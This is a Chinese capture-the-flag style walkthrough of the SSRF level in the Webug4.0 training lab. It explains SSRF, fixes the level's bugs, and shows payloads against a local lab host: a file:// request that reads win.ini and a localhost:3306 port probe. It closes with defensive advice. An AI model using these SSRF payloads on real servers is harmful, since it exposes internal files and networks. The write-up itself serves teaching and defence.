Webug4.0通关笔记25- 第30关SSRF

news2025/5/14 4:29:36

目录

一、SSRF简介

1.SSRF原理

2.渗透方法

二、第30关SSRF渗透实战

1.打开靶场

2.渗透实战

(1)Windows靶场修复

(2)Docker靶场修复

(3)获取敏感文件信息

(4)内网端口与服务扫描

三、防范方法


本文通过《webug4靶场第30关 SSRF》来进行渗透实战,不过本关卡有点小bug,通过修复靶场的bug使具有SSRF关卡功能,并完成获取敏感文件与内网服务探测的渗透。

一、SSRF简介

1.SSRF原理

SSRF(Server-Side Request Forgery:服务器端请求伪造):服务器对用户提供的可控URL过于信任,没有对攻击者提供的URL进行地址限制和足够的检测,导致攻击者可以以此为跳板攻击内网或者其它服务器。其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。

  • 攻击利用点:服务器端应用程序通常会根据用户的输入或其他业务逻辑发起对外部资源的请求,如获取图片、下载文件、调用其他 API 等。如果服务器在构建这些请求时,没有对目标地址进行充分的验证和过滤,就可能被攻击者利用。
  • 攻击过程:攻击者通过构造特殊的 URL 或参数,将恶意的目标地址传递给服务器端应用程序。服务器端应用程序会按照攻击者指定的地址发起请求,而这个请求可能会绕过防火墙等安全机制,访问到内部网络中的敏感资源或执行恶意操作。

2.渗透方法

  • (1)可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息;
  • (2)攻击运行在内网或本地的应用程序(比如溢出);
  • (3)对内网Web应用进行指纹识别,通过访问默认文件实现;
  • (4)攻击内外网的web应用,主要是使用get参数就可以实现的攻击;
  • (5)利用 file 协议读取本地文件等;

二、第30关SSRF渗透实战

1.打开靶场

本文通过《webug4靶场第30关 SSRF》来进行渗透实战,不过这个关卡有点小bug。

http://192.168.71.1/webug4/control/more/ssrf.php?url=localhost/control/xss/xss_1.php?id=1

不过无论是windows下的靶场,还是docker安装的webug靶场都是打不开,如下所示。

2.渗透实战

(1)Windows靶场修复

注意当前url如下所示。

?url=localhost/control/xss/xss_1.php?id=1

很明显URL的绝对路径出现异常,访问地址应该如下所示。

?url=localhost/webug4/control/xss/xss_1.php?id=1

于是网址修正为如下所示。

http://192.168.71.1/webug4/control/more/ssrf.php?url=localhost/webug4/control/xss/xss_1.php?id=1

如下所示,访问成功,通过url参数可以访问到内网资源,如下所示。

(2)Docker靶场修复

Docker环境中的webug靶场需要 安装扩展curl库php5-curl才可以正常打开此关卡。

1)通过sudo docker ps -a查看webbug对应的容器Id。

2)获取到Id后,通过如下命令进入webbug的容器环境。

sudo docker exec -it 98b33e502d8b bash

通过这个命令进入到docker环境, 数字部分大家需填写自己的容器id, 这里98b33e502d8b即为上图中红框中查询到的webug靶场对应的容器id,如上所示

3)进入容器环境后,执行sudo apt-get install php5-curl 安装扩展curl库。具体执行过程见下图。

4)执行完后大家重启下kali。

可以通过重启kaili 或者sudo docker stop 容器id, sudo docker start 容器id来完成服务的重置

5)重新进入靶场。

如下所示配置完毕后,再次打开此关卡后可以正常打开靶场。

(3)获取敏感文件信息

url=file:///c:/windows/win.ini

SSRF的地址如下所示。

http://192.168.71.1/webug4/control/more/ssrf.php?url=file:///c:/windows/win.ini

 如下所示渗透成功。

(4)内网端口与服务扫描

http://192.168.71.1/webug4/control/more/ssrf.php?url=localhost:3306

如下所示3306端口处于打开状态,渗透成功。

三、防范方法

  • 严格验证目标地址:对用户输入的目标地址进行严格的验证,限制只能访问合法的、预期的地址,禁止访问内部网络地址和其他敏感地址。
  • 使用白名单机制:建立允许访问的地址白名单,只有在白名单中的地址才能被服务器访问,其他地址一律拒绝。
  • 限制协议和端口:只允许使用必要的协议(如 HTTP、HTTPS)和端口,禁止使用其他可能存在风险的协议和端口。
  • 对请求进行代理:通过代理服务器来发送请求,在代理服务器上进行地址验证和过滤,防止恶意请求到达目标服务器。
  • 及时更新和打补丁:保持服务器软件和应用程序的更新,及时修复可能存在的 SSRF 风险。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2375103.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

OpenCV 中用于背景分割的一个类cv::bgsegm::BackgroundSubtractorLSBP

操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 算法描述 cv::bgsegm::BackgroundSubtractorLSBP 是 OpenCV 中用于背景分割的一个类,它基于局部样本二进制模式(Local Sample Bina…

MacOS 上构建 gem5

MacOS 中只存在 python3,但是scons 只认 python,不在 系统中创建 软连接,一个是因为比较难操作;另一个是尽量不要更改系统。所以独立构件python 和scons: 1,安装python 下载源代码: Python S…

认识中间件-以及两个简单的示例

认识中间件-以及两个简单的示例 什么是中间件一个响应处理中间件老朋友 nest g如何使用为某个module引入全局引入编写逻辑一个日志中间件nest g mi 生成引入思考代码进度什么是中间件 官方文档 中间件是在路由处理程序之前调用的函数。中间件函数可以访问请求和响应对象,以及…

(五)毛子整洁架构(分布式日志/Redis缓存/OutBox Pattern)

文章目录 项目地址一、结构化日志1.1 使用Serilog1. 安装所需要的包2. 注册服务和配置3. 安装Seq服务 1.2 添加分布式id中间件1. 添加中间件2. 注册服务3. 修改Application的LoggingBehavior 二、Redis缓存2.1 添加缓存1. 创建接口ICaching接口2. 实现ICaching接口3. 注册Cachi…

大模型微调终极方案:LoRA、QLoRA原理详解与LLaMA-Factory、Xtuner实战对比

文章目录 一、微调概述1.1 微调步骤1.2 微调场景 二、微调方法2.1 三种方法2.2 方法对比2.3 关键结论 三、微调技术3.1 微调依据3.2 LoRA3.2.1 原理3.2.2 示例 3.3 QLoRA3.4 适用场景 四、微调框架4.1 LLaMA-Factory4.2 Xtuner4.3 对比 一、微调概述 微调(Fine-tun…

云效 MCP Server:AI 驱动的研发协作新范式

作者:黄博文、李晔彬 云效 MCP Server 是什么? 云效 MCP(Model Context Protocol)是阿里云云效平台推出的模型上下文协议标准化接口系统,作为连接 AI 助手与 DevOps 平台的核心桥梁,通过模型上下文协议将…

Linux常见指令解析(三)

通配符 * *可以匹配任意名称的文件,如: ls * 列出当前目录下的所有非隐藏文件和目录,并展开目录内容 ls *.c 列出当前目录下以.c为结尾的文件 rm -rf * 删除所有非隐藏文件 alias指令 alias指令用于给命令取别名。如: 给ls …

HTTP学习

HTTP知识 01. 经典五层模型 应用层 为应用软件提供了很多服务,构建于协议之上。 传输层 数据的传输都是在这层定义的,数据过大分包,分片。 网络层 为数据在节点之间传输创建逻辑链路 数据链路层 通讯实体间建立数据链路连接 物理层 主要作用…

go语言实现IP归属地查询

效果: 实现代码main.go package mainimport ("encoding/json""fmt""io/ioutil""net/http""os" )type AreaData struct {Continent string json:"continent"Country string json:"country"ZipCode …

Android RxJava框架分析:它的执行流程是如何的?它的线程是如何切换的?如何自定义RxJava操作符?

目录 RxJava是什么?为什么使用。RxJava是如何使用的呢?RxJava如何和Retrofit一起使用。RxJava源码分析。 (1)他执行流程是如何的。(2)map(3)线程的切换。 如何自定义RxJava操作符…

MySQL及线程关于锁的面试题

目录 1.了解过 MySQL 死锁问题吗? 2.什么是线程死锁?死锁相关面试题 2.1 什么是死锁: 2.2 形成死锁的四个必要条件是什么? 2.3 如何避免线程死锁? 3. MySQL 怎么排查死锁问题? 4.Java线上死锁问题如…

【工作记录】crmeb后端项目打开、运行

1、下载代码 1)安装git 不再详述 2)git拉代码 项目地址如下,在vscode-分支中拉代码 # 克隆项目 git clone https://gitee.com/ZhongBangKeJi/crmeb_java/ 截图如下是已经成功拉下来 注意安装对应版本 2、maven配置 安装配置见&#x…

智能手表测试计划文档(软/硬件)

📄 智能手表测试计划文档(软/硬件) 项目名称:Aurora Watch S1 文档编号:AW-S1-QA-TP-001 编制日期:2025-xx-xx 版本:V1.0 编写人:xxx(测试主管) 一、测试目标…

k8s监控方案实践(三):部署与配置Grafana可视化平台

k8s监控方案实践(三):部署与配置Grafana可视化平台 文章目录 k8s监控方案实践(三):部署与配置Grafana可视化平台一、Grafana简介1. 什么是Grafana?2. Grafana与Prometheus的关系3. Grafana应用场…

嵌入式系统架构验证工具:AADL Inspector v1.10 全新升级

软件架构建模与早期验证是嵌入式应用的关键环节。架构分析与设计语言(AADL)是专为应用软件及执行平台架构模型设计的语言,兼具文本与图形化的双重特性。AADL Inspector是一款轻量级的独立工具: 核心处理能力包括 √ 支持处理AA…

STM32-模电

目录 一、MOS管 二、二极管 三、IGBT 四、运算放大器 五、推挽、开漏、上拉电阻 一、MOS管 1. MOS简介 这里以nmos管为例,注意箭头方向。G门极/栅极,D漏极,S源极。 当给G通高电平时,灯泡点亮,给G通低电平时&a…

华为云Flexus+DeepSeek征文|从开通到应用:华为云DeepSeek-V3/R1商用服务深度体验

前言 本文章主要讲述在华为云ModelArts Studio上 开通DeepSeek-V3/R1商用服务的流程,以及开通过程中的经验分享和使用感受帮我更多开发者,在华为云平台快速完成 DeepSeek-V3/R1商用服务的开通以及使用入门注意:避免测试过程中出现部署失败等问…

鸿蒙NEXT开发动画案例5

1.创建空白项目 2.Page文件夹下面新建Spin.ets文件,代码如下: /*** TODO SpinKit动画组件 - Pulse 脉冲动画* author: CSDN—鸿蒙布道师* since: 2024/05/09*/ ComponentV2 export struct SpinFive {// 参数定义Require Param spinSize: number 48;Re…

ctfshow——web入门351~356

SSRF没有出网的部分 web入门351 $ch curl_init($url); 作用:初始化一个 cURL 会话,并设置目标 URL。解释: curl_init($url) 创建一个新的 cURL 资源,并将其与 $url 关联。这里的 $url 是用户提供的,因此目标地址完全…

【PostgreSQL数据分析实战:从数据清洗到可视化全流程】金融风控分析案例-10.1 风险数据清洗与特征工程

👉 点击关注不迷路 👉 点击关注不迷路 👉 点击关注不迷路 文章大纲 PostgreSQL金融风控分析案例:风险数据清洗与特征工程实战一、案例背景:金融风控数据处理需求二、风险数据清洗实战(一)缺失值…